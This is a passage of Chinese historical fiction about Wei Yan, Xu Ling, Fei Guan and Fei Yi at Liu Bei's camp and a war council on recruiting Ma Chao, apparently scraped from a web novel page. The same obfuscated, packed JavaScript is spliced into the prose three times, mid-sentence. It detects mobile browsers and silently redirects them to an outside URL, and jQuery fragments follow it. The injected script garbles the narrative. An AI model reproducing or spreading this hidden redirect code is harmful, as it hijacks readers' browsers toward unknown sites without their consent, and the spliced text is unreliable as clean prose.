虽然这样想着,可魏延却挪不开步子。值夜的士卒进帐向徐绫通报,徐绫没有停笔,仍然保持着一手磨墨、一手绘图的姿势,朝他略略望了一眼,又继续埋头画了起来。魏延觉得她多半根本没听清士卒说了什么,抬眼时也并没有真的在看自己,那只是躯壳的一个动作而已。她的精魂早已牢牢锁定在那幅舆图上,没有什么人或事能让她从中抽离出来。 魏延无声呼出一口气,放轻脚步走进帐中,绕到她左手边半跪下去、将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486436|202034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身体撑起,拿过陶杯往砚台添了些水,稍稍用力、从她手上把墨锭抢了过来,开始一圈一圈认真研磨着。徐绫自然而然松手,笔锋没有半瞬停留,直到把最后一个险隘陈仓标注完毕,才终于将视线从绘卷移开,缓缓落在魏延脸上,眸光一点一点聚拢,好像刚刚意识到自己身侧原来还多了个人。 “将军这是在做什么?” 徐绫挽了挽鬓边垂落的一绺碎发,指腹随即在自己那张花脸上又添出一道墨痕。魏延腮帮微微鼓了鼓,似乎想笑,但很快偏转目光,垂眸盯着砚台里的墨汁说道: “我睡不着。” 他嗓音带着明显的喑哑,却解释得理所当然。仿佛睡不着,便该过来替她磨墨似的。徐绫静静看着,他眼皮分明已有些发沉,肩背却仍绷着一股劲。灯火微晃,烛光流转在丝滑如镜的锦衣之上,随着他刻意控制的呼吸,习习忽闪出小心翼翼的光。 急急解释夏侯渊的动向、特地磨好归还的嗣音剑、藏在怀里的归明散,以及明明疲惫不堪、却还坐在这里替自己研墨的他。 徐绫斟酌着正要开口,却听见魏延的声音先响了起来: “徐子衿。” 徐绫立刻抓起了刚刚放下的笔,目光飞速从舆图上逡巡而过,试图找出哪一处尚有疏漏。视野中忽然闯入一只大手,虎口有硬实的老茧,指背密布着擦碰而出的新旧疤痕,指尖沾染了少许墨渍,显得有些格格不入。这只手在一条从米仓山穿行而过的小河河畔悬停少许,又指了指对岸不远处的一座山峰: “我就是从这里走的,这两处地势,应该没差这么大。” 徐绫紧紧抓着笔杆的手渐渐松开,短暂的沉默过后,她抬眼望向魏延,喉间溢出一声拖起尾音的疑惑。魏延从怀中摸出那卷麻布,有些难为情似的迟疑片刻,飞快地瞄她一眼,随即清了清嗓,展开麻布寻望一圈,将其余部分都折叠起来,单指一处给她看: “我从这里望过去,对面山势是偏斜些,但高下并不悬隔。若画得这样陡,会使人误判路险。” 徐绫盯着麻布上用炭笔草草绘就的山川河流,虽然画得粗陋,但几处走势转折的要点却标注得清清楚楚,有些地方还写了几列小字。她把麻布往灯下拽一拽,想看得更清楚些,怎料竟没拽动!她又扯了扯,这才发现原来是魏延用力抓住了另一端,就不给她看。 “……小气。” “我才不小气!” 魏延高声反驳道,显得很是委屈,睫毛的阴影投射在眼下,剧烈颤动着,仿佛在纠结什么人生大事。但人生大事只纠结了寸刻不到,他就破罐破摔似的松了力道,主动把麻布展开,移到案几正中,任凭徐绫看个够。 徐绫俯身细细看过每一处小字注解,笔迹虽不算文雅,倒也工整,显然是下苦功练过的。她把麻布叠好还给魏延,提笔将那处峰峦曲线重新改过,顺口问道: “那些标注都是你写的?” “自然,”魏延挺直了胸膛,“我识字的,我部士卒家书都是我代写。” 徐绫噗嗤笑了出来,一边执笔调整几处细节,一边侧眸瞥了他一眼: “我不是那个意思。” 但魏延没有笑,只是定定望着徐绫: “写家书又不需要熟读屈原。” 啊? 徐绫收笔,抬头看向魏延,歪了歪脑袋,唇角一点点扬起,露出了那个他很熟悉的促狭笑容: “魏文长,你还挺记仇。” 20. 二十 别家孩子 赶路了整整一晚,费观终于在段集小队的护送下,在太阳升起之前抵达了位于雒城郊外的军营。傅肜早已等在营门前,迎了他进来,先命段集小队诸人自去歇息,自己和赞卡则一路将他引导至布置周全的客帐。 帐中毡席、漆案、铜盆皆已备下,还特意放置了一只博山炉,于是满帐都充盈着清幽的香气。傅肜还贴心地告诉他,距军议开始尚有一两个时辰,届时赞卡会唤他起来,尽可安心睡去。 但费观只浅眠了三刻不到就清醒过来,浸了冷水的细布敷在脸上,让他困意全消。仔细整理好仪容,稍稍摩挲几下发冠上的玉蝉,将发冠戴在头顶、束紧系带。 铜镜里映出了一张二十七八岁的俊秀面庞,当他稍稍侧身的时候,另一张同样眉目如画的脸,随之出现在镜中。这张脸与费观极为相似,只不过稚嫩许多。 一位十四五岁的少年在费观身后盘膝而坐,他也奔波了一整晚,此时虽然阖上了眼睛,但身姿挺拔,显然只是在闭目养神,并未真正睡下。 “阿祎。” 随着费观一声轻唤,少年费祎缓缓睁开眼睛,温醇一笑: “叔父。” “我投入左将军麾下不过数月,刘季玉又是我岳丈,此番连夜催请,是何用意?” “这一路行来,急切却不仓促。军营之中,平静而无亢意。以小侄浅见,雒城局势与数月前一样,并无进展。故而,左将军所思,非在眼前、而在别处。” 费祎的嗓音与他的面容一般温润清朗,他双手接过费观递来的布巾,简单擦了擦脸,继续说: “左将军阵中以荆襄人为众,此番多半有与蜀地人情相关之事垂询叔父。至于为何如此急切,我猜……北地有变。” 费观点点头,抚平衣袖,从袖中取出一枚香片含在口中,也递给费祎一片: “北地……也不知是汉中张鲁还是关中夏侯。不过阿祎为何不猜西南或江东?” “西南或江东即使生变,叔父也很难帮得上忙的。” 费祎也将香片含在嘴里,微笑着望向费观。费观不以为忤,起身揉了揉他的脑袋,为他重新将发髻束紧。费祎保持着静止的仪态,方便费观动作,听见叔父的声音伴着一缕冷香从头顶传来: “稍后见荆襄诸将,还当小心行事。既不可惊慌失据、招人取笑,也不必妄自卑微、教人轻视。” “叔父放心,阿祎晓得。” 立冬已过,清晨的天空一片浅灰,透着薄薄的寒意。正是朝食的时候,军营上空炊烟袅袅,胭脂似的阳光从潮湿的烟雾间斜斜穿过,落在费观的佩剑上,于是玉剑璏也随之染上一层霞衣。费祎身量未成,如果把长剑佩在腰间就会有碍行走,便干脆握在手中。 中军大帐就在不远处,帐帘半卷,里面已经影影绰绰有了人影。费祎稍稍眯眼,浓密的长睫遮挡住阳光,让他得以看清帐内情况:有位褐衫小吏站在案前,微微仰着脑袋,正在指挥仆从将画布悬挂上架。那仆从宽肩阔背,伸臂时几乎挡去了大半幅立架。他动作既快又稳,时不时回头问两句,那样高大的身量,被小吏支使着将画布挪高挪低,倒还十分听话。 费祎继续前行,走近几步,又觉出些许异样:那仆从穿的竟是一件蜀锦织就的青袍!再去看那位小吏,他正往腰间穿系佩剑。那是一柄极为华贵的短剑,鞘面被打理得一尘不染,雕刻的铜纹繁复精美,镶嵌的玉石莹润清透。 魏延将最后一幅图挂稳,又按徐绫所指把右侧稍稍抬高,转过身来,拍去掌心浮灰: “还有什么要做的?煮些茶水?” “这就不必文长代劳了。” 傅肜当先一步掀帘入内,目光在两人之间飞快打了个转。魏延闻声抬眼,刚应了傅肜一句,就被一位健步上前的俊秀文士亲亲热热地执住了手: “文长兄,别来无恙!” 魏延下意识回握,却仍是一脸愣怔。费观笑意不减,拍了拍他的臂膀,稍稍退后一步,端详着这身瑰丽锦袍: “数月不见,文长兄气象大不相同。” 提到数月不见,魏延终于想起来眼前之人姓谁名谁。几个月前,刘备军进占绵竹,守将李严身边有一位俊逸随和的青年参军,在气氛略有僵硬的晚宴上穿行于众人之间,与大家谈笑自若,就连魏延都跟他聊过几句。若没记错,此时正热情洋溢口称“兄长”的他,还要比自己年长几岁。 “宾伯兄,许久不见。” 注意到魏延脸上逐渐显露的恍然,费观笑意更深,下一句热络的话就在嘴边,却被魏延反握住肘骨,整个人顺势就被他转了个角度: “宾伯兄,这位是庞军师帐中书佐徐绫,”魏延松手将他放开,“子衿,这位是绵竹参军费观。” “颍川徐绫,见过费参军。” 徐绫朝费观欠身,行了一个端庄的揖礼。费观的视线在徐绫喉间稍作停留,随即掠过她发髻上的碧玉簪以及悬于腰间的嗣音剑,拱手回礼道: “庞士元乃南州士之冠冕,子衿如此年轻,竟已能在他帐中效力,左将军麾下果然尽是青年才俊!江夏费观,今日有幸得见。” 费观挥手一招,费祎随即会意,大大方方走上前去,被叔父拉到两人跟前: “阿祎,你平日在家读书惫懒,今日可知自己是井中之蛙了?” 徐绫眉心微蹙,她不能应承这样的抬举,可谦抑之词若也由她来说,就显得与费观是平辈相交,但眼前被推出来的少年分明与她年纪相仿,而且费观特意带来参加军议、重视程度可见一斑,所以她也不能去占人家便宜,于是只好没听见似的朝那位少年望去。少年被费观拽得稍稍趔趄,清秀的脸上丝毫没有因为叔父那句训话而显出的羞惭或局促,躬身行礼时姿态恭谨,但神情安然若素: “江夏费祎,见过魏将军、徐书佐。” “阿祎是观之族侄,原本住在成都。来绵竹游学之时恰逢左将军驾临,一时回不去,就权且留他在我身边侍弄些笔墨。” “宾伯何故过谦?平白让我这小徒滋生了傲气!” 身后传来一句高声笑语,费观循声去看,只见庞统摇着麈尾大步踏来,小巧的扇面在徐绫后背轻轻一拍: “费小郎君才博思敏,小小年纪便已为蜀中士人称道。我这子侄才是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486437|202034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成器,只好放在身边时时提点,以免闯出祸事。” 费观摆摆手,却并未表现出刚才对魏延的亲热友爱,只极浅地弯了弯唇角,转而称赞傅肜接引周到、魏延锦袍生辉、士元兄今日雅气晔晔,庞统也畅谈绵竹民生殷实、皆赖宾伯兄治理有方。一时间,宾主尽欢。 呼…… 徐绫偷偷长舒了一口气,当别人家的孩子,竟也是件苦差事。 尽管一直在应付费观,魏延的余光仍然留意到了徐绫的小动作:她怀着几分同病相怜的意味向费祎望去,刚巧费祎也正朝她看来,两人视线一触,不约而同地动了动嘴角,仿佛都想摇头苦笑、又都及时收住。费祎还往前凑了凑,两个人脑袋几乎碰在一起,不知道在嘀嘀咕咕聊些什么。过了一会儿,费祎似乎问了句什么,徐绫便将嗣音剑递过去,让他仔细欣赏剑鞘纹路。片刻之后,费祎也将自己手中的长剑横过来,让她摸了摸剑柄玉饰。 玉剑首有什么好的,锦绣花样罢了,上了阵还能多杀敌么? 魏延在心里狠狠哼了一声,正要走过去将两人分开,他们却先抬眼朝帐门望去。声音渐密,又有几人结伴而来。刘封当先入内,身边亦步亦趋跟着一位中年壮汉。注意到徐绫的褐衫与碧玉簪,那张英挺沉毅的脸上立刻绽出一抹愉悦的笑: “阿绫。” 费祎眉梢微动,朝徐绫瞟了一眼,她没什么反应,倒是身侧的魏延,唇线似乎比之前抿紧了些。 有趣。 费祎翘了翘嘴角,饶有兴味地观察着鱼贯而入的这些戎装武人。那位中年壮汉即使面对他和徐绫这样的少年男女,也依旧执礼甚恭,原来是出身刘封母族罗侯寇氏的部曲首领寇岳,难怪讲话有长沙口音。与刘封主仆相隔几步,是两位青年将军簇拥着一位须发掺白的宿将,老将军肩背肌肉虬结,看来是射箭行家。 “汉升公!广怀兄!休元兄!” 不过是绵竹筵席匆匆一面,时隔数月,费观却仍能准确喊出这些人的表字。他分开人群大步踏来,先对黄忠深深一躬,又一手一个、紧紧揽住卓膺和冯习。一张口,他的荆襄口音,竟与大家如出一辙: “数月不见,诸位将军风采如昨!” 中军大帐里洋溢着欢声笑语,但中原长大的徐绫只觉自己被卷进一窝归巢雀鸟,耳边叽叽喳喳,喧闹不已。 趁着一次寒暄的间隙,她低头调整一会儿因为维持笑意而有些酸胀的脸部肌肉,注意到同样被人群冷落的费祎静静站在不远处,目光长久凝注于立架上悬挂的舆图。 仔细端量之后,他认出那是包含陇南、陇西、汉中、关中在内的西北地形简图。除了幼时跟随伯父从荆襄入蜀,费祎没去过别的地方,因此无从判断这幅舆图质量如何。但即使仅仅是这样远远瞧着,他仍然感觉呼吸逐渐急促起来,整个人仿佛凭虚御空、飘然间直抵云端。俯瞰而下,眼中所见不再是曲直相连的线条,而是一片片成团结块的雪白、葱绿、泥黄、碧蓝。 “阿祎。” 虽然知道是徐绫在叫他,但费祎没有移开视线,也没有应答,仍然痴痴望着舆图。 壮哉大美! 21. 二一 议什么议 庞统站在立架前,麈尾扇尖从舆图上的汉中和陇右一掠而过,简述了夏侯渊与马超近来动向。中军大帐响起一阵细碎的嗡嗡声,其间有谁惊讶了一句“马孟起竟投了张鲁”。这声音并不十分响亮,庞统却偏偏听见了,循着来源略略点头: “文进说得不错,马孟起在张鲁麾下,确实明珠暗投。” 庞统此言一出,大帐顿时鸦雀无声,只有被点到名字的张南“啊”了一声,一脸错愕。他居于末席、自觉说话声音不大,哪里想得到会被庞统单独点出。他看了看两位同乡,侧颊那道仿佛大笑的伤疤配着此刻的局促,竟显出几分说不出的滑稽。 感知到他求助似的目光,魏延和傅肜朝他回望过去。魏延眼中有几分与他类似的茫然,显然对大帐此时的安静也有些不解。但傅肜目光深沉,似乎知道什么内情,于是安抚之外又多了些同情的意味。 “马孟起威武并昭,我久闻其人。然兵家所重,远不止勇名、更在心术。他与韩遂旧事天下皆知,如今益州未定,若招致军中,是如添羽翼、还是肘腋生患,恐未可知。” “汉升将军所虑极是。此人难制,且羌氐素敬服之。若安置不善,便是养虎自啮。” “如今雒城战事焦灼,不宜平添事端。” 黄忠、卓膺与冯习三人彼此附和,刘备听得认真,不时轻轻点头,庞统则轻摇小扇,笑而不语。魏延眉心拧成一团,他实在不明白,这个话题有什么值得专门拿到军议上讨论的?左将军若觉得马超可用,就派人招揽。若觉得不可用,雍凉与益州腹地相隔遥远,不去理会便是。都怪张南刚才平白夸了马超一句! 这样想着,魏延带了些埋怨朝张南瞥去。却见缩在末席的青年耷拉着脑袋,像是闯了什么祸,但又不知道错在哪里。手指绕着佩剑剑柄垂落的一根配饰,摆弄来摆弄去。那是刘备亲手编织的白毦,还是他担任刘备亲兵时由于护卫奋勇而获得的赏赐。现在想想,早知道升职之后要面对这种局面,还不如留在中军营当一辈子宿卫队率。 魏延的视线转向傅肜,他坐在刘备下首近侧的后席,与寇岳并排。两人眼观鼻鼻观心,泥塑般一动不动。只不过寇岳容色淡漠,对讨论的过程毫无兴致,只待讨论出结果以后,主君一声令下,自己便去执行。傅肜则一派了然,静默等待着事态朝既定的方向发展。坐在寇岳身前的刘封虽然也一直沉默,眼神却时有游移,眉头也不时微微蹙起,显见心下并不平静。 刘封为何会感到不安?马超纵然出身高贵,但也不姓刘啊! 对于这位威震关陇的伏波将军后人,魏延其实并没多少想法,更无意去评断其人品。马超名声在外,又能如何?若战场相见,难道因为自己只是无名小辈,便先怯三分么?若将来并肩,难道又因为同袍威名显赫,自己便少做一分准备么?可大家偏偏谈得这样投入,还时不时朝刘封望上一眼,究竟是什么原因呢? 魏延又去看坐在下首的费观及其身后的费祎。两张同样白皙清秀的面庞,匀净得与满帐甲兵很不相称。他们脸上似乎总带一点若有若无的笑意,如他们身上那股清冽香气一样,叫人无法不留神。费祎忽然抬眼,唇角微微一翘,旋即低下头去。魏延顺着那一眼望去,发现正指向坐在庞统身后的徐绫,而她也像是才将唇边一点笑意按捺下去似的。 他们方才是在对视么? 魏延只觉坐姿怎么都不对,便下意识换了个姿势再去看徐绫。她此刻已经敛容正坐,专注听着大家说话,鹿眼幽深,时而漆黑如夜,时而闪烁出几点星芒。魏延收回目光,开始低头整理刚才调整坐姿时弄乱的锦袍下摆。可衣料偏不听他摆布,那些褶皱无论他如何整理,都无法捋得平整,实在教人心烦。徐绫显然听懂了大家在讨论什么,费祎那个小郎君多半也听懂了,自己却只能在这里胡思乱想:张南一句闲话,怎么就引出这样的热议来? 想着想着,他的思绪逐渐飘远,想到了今早徐绫支使他挂画时那不容置疑的语气,想到了昨晚她将大氅递过来时指节沾染的墨渍。于是,刚才还在脑子里横冲直撞的混乱念头仿佛被什么东西勾住,慢慢收拢成了另一种更难言明的烦躁。 “那间小帐是堆放记室杂物的,为防腐防潮还撒了许多香料,怎么能住人呢?估计赞卡事情太多,忙忘了吧。” 徐绫说这话的时候,眉心蹙起一个秀气的尖,像是在为他鸣不平。魏延还保持着半跪的磨墨姿势,怔怔看着徐绫从箱笼底部抽出那件刘封送她的墨绿绒氅,朝自己递了过来: “再有一个多时辰就该去军议,不必麻烦赞卡再找地方了,留在这里打个盹吧。” 昨晚实在太累,那件绒氅又太过柔软,魏延被包裹得晕乎乎的,很快就倚着帐柱昏睡过去。此刻耳边尽是马超、雍凉、成都这些绕来绕去的话,他忽然后知后觉地想起:徐绫怎么就能那样平平常常地把大氅递给他,而自己怎么又能那样平平常常地接过、甚至最后还真的在她帐中眯过去了? 魏延猛地醒神,视线钉在那片衣摆上,越看越觉得碍眼,极轻极慢地呼出一口气,唯恐像张南那样,稍有异动、便被点到发言。方才他走神太远,全不知大家又说了什么。 帐中忽然静了一静,刘封觉察出黄忠、卓膺、冯习的目光一齐朝他压了过来。 他们已经把反对招揽马超的理由说尽,现在只等他开口。其实荆襄诸将为何不愿招揽马超,刘封心里清楚得很。除了那些摆在明面上的顾虑,还有一层更实在的缘故:如今雒城久攻未下,众人可得的功劳本就越摊越薄。这时候若再来一个马超,哪怕他并无争功之意,也难免拿走几分斤两。 他偷偷瞄了一眼父亲,刘备神色如常,似乎只是参考众议、心中并无倾向。但他对父亲极为熟悉,已经能领会出任何一点微乎其微的波澜。于是此时就隐隐有个猜测:父亲已下定决心要招揽马超,对于荆襄诸将的芥蒂也心知肚明,因此不愿在大战之前径自压下异议、强行做主,以免伤了众人心气。而要拿出来议一议,寻一个大家都能接受的说法。 他是刘备长子、一军之副,又从母亲那里继承了一半汉室血脉。按理,是该顺着父亲的意思表态。可他也是荆襄人,说的是荆襄话,荆襄诸将是他不能轻失的凭藉。若此时都不肯与同乡同袍站在一边,大家还如何相信未来值得追随他继续建功立业、泽荫子孙? “父亲,”刘封清了清嗓子,直起身来,朝刘备拱手,“诸位将军所言皆是肺腑之见,马孟起旧事不可不引以为鉴……” 刘封本已决定要顺着荆襄诸将的意思说下去,余光却恰见坐在庞统身后的徐绫朝他极轻地摇了摇头,向费观的位置微微一瞥。 雒城围攻数月而不下,庞统却让她画了一整夜千里之外的舆图。今天见到八面玲珑的费观,再听一听这纷纭杂沓的荆襄口音讨论,刘备与庞统的真实意图已不难猜。费观还没说话,刘封何必着急,此时说得太满,回头便要进退两难。自己身上衣、发上簪,尽皆是刘封赠予,哪能看着他闯出祸来。 刘封喉头微紧,临到嘴边的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486438|202034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忽然改了方向: “以儿浅见……”他又看了刘备一眼,轻轻吐息两下,稳住声音,“我等久居荆襄,去雍凉甚远。马孟起诸事,大多只是听闻。如今虽身在益州腹地,于蜀地人情却未必看得分明。不如先听听宾伯兄高见?” 费观正襟危坐,双手交叠安放在膝上。费祎昨夜就猜测,这次急召前来参加军议是因为北地有变。而刚才议论之声纷杂,庞统却唯独从中选取了提到马超的那句,个中缘由,至此已再清楚不过,于是趁方才众人讨论之时想好了说辞。听见刘封提到自己,费观直身而起,朝上首父子俩恭敬作揖: “谢左将军、长公子,”口中香片的味道随着他的话语弥漫出来,带着春风般的清甜,“诸位多自荆襄而来,观亦本出江夏,与诸位同乡同源。然久居蜀中,所见益州情势,较诸位或又稍有不同。” 费观视线扫过全场,神清骨秀的脸上带着恬淡的笑意,比春风还要和煦: “益州夷獠杂处,南中诸部、三巴賨叟、羌氐儿郎,多尚勇而轻死,虽未必尽习礼法,却皆是可用之众。刘季玉父子得以立足蜀中,亦多借其力。马孟起神勇之名,羌氐之间莫不敬服。左将军待他厚薄,夷獠各部皆看在眼里。若薄之,他们只道归附之人未必能安。若厚之,则皆知左将军能容天下勇士。观才识浅陋,实不敢对马孟起轻易臧否。诸位忧其反复,皆深谋卓识之见。只是若此事所系,不止一马超,而在为一切观望归附之人立信,或许,便未必要其人全无可议之处。” 黄忠眉梢微紧,却没再说话。卓膺看了他一眼,也将目光垂了下去。冯习便道: “宾伯兄此言,令我大开眼界。只是如今战局未明,此事若要论,是否待进占成都之后再作计较,方更稳妥?” “冯将军所虑甚是。” 这回接话的,却是一道比费观更清亮几分的少年声音。满帐将佐寻望一圈,直到费祎站起身,离席深深一揖,从面前叔父身侧错落闪出,大家这才将目光准确落到他身上。 “马超其人虽未可遽信,然其名却可先借。只需令成都上下见其旗鼓,刘季玉自会生出腹背受敌、孤危难支之感,甚或疑张鲁已与我军暗通声气,也未可知。至于其人终究可用与否,待进占成都之后,再由左将军徐徐审之,亦未为晚。” 冯习与卓膺对视一眼,齐齐望向黄忠。黄忠捋着长须淡淡一笑,自席间起身,遥遥看向费祎。他身形高大,且久经沙场,虽然此时只是身穿布衣、并未着甲胄,仍然有一股凛凛杀气萦绕于周身。费祎仰起头,不闪不避地与他对上目光,躬身又行了一礼。费观脸上笑意不减,指尖却悄然滑向剑柄,庞统与刘备迅速交换了一个眼色,放下麈尾离席而起,朝黄忠走去: “汉升公,费小郎君年纪尚幼——” “费小郎君高见,我自愧不如。” 黄忠朗声说道,朝费祎郑重抱拳。费祎愣了一下,眼底掠过一丝掩不住的亮意。费观急忙起身,拉着他一起还礼: “汉升公此言实在折煞晚辈,小侄不知轻重,还望汉升公今后拨冗多加教导。” 一丝骤起的紧张化作了寻常客套,帐中气氛随之一松,转眼又是一片带着荆襄乡音的低笑与应和。刘封在一片寒暄声中,隔着重重人影向徐绫望去。她仍然规规矩矩坐在那里等待大家结束攀谈,进入下一议题。接到刘封投来的目光,她稍稍抬眼,回应了一个浅淡的笑。刘封长舒一口气,无论之前徐绫对他的心结是否解开,至少这一次,她没有作壁上观。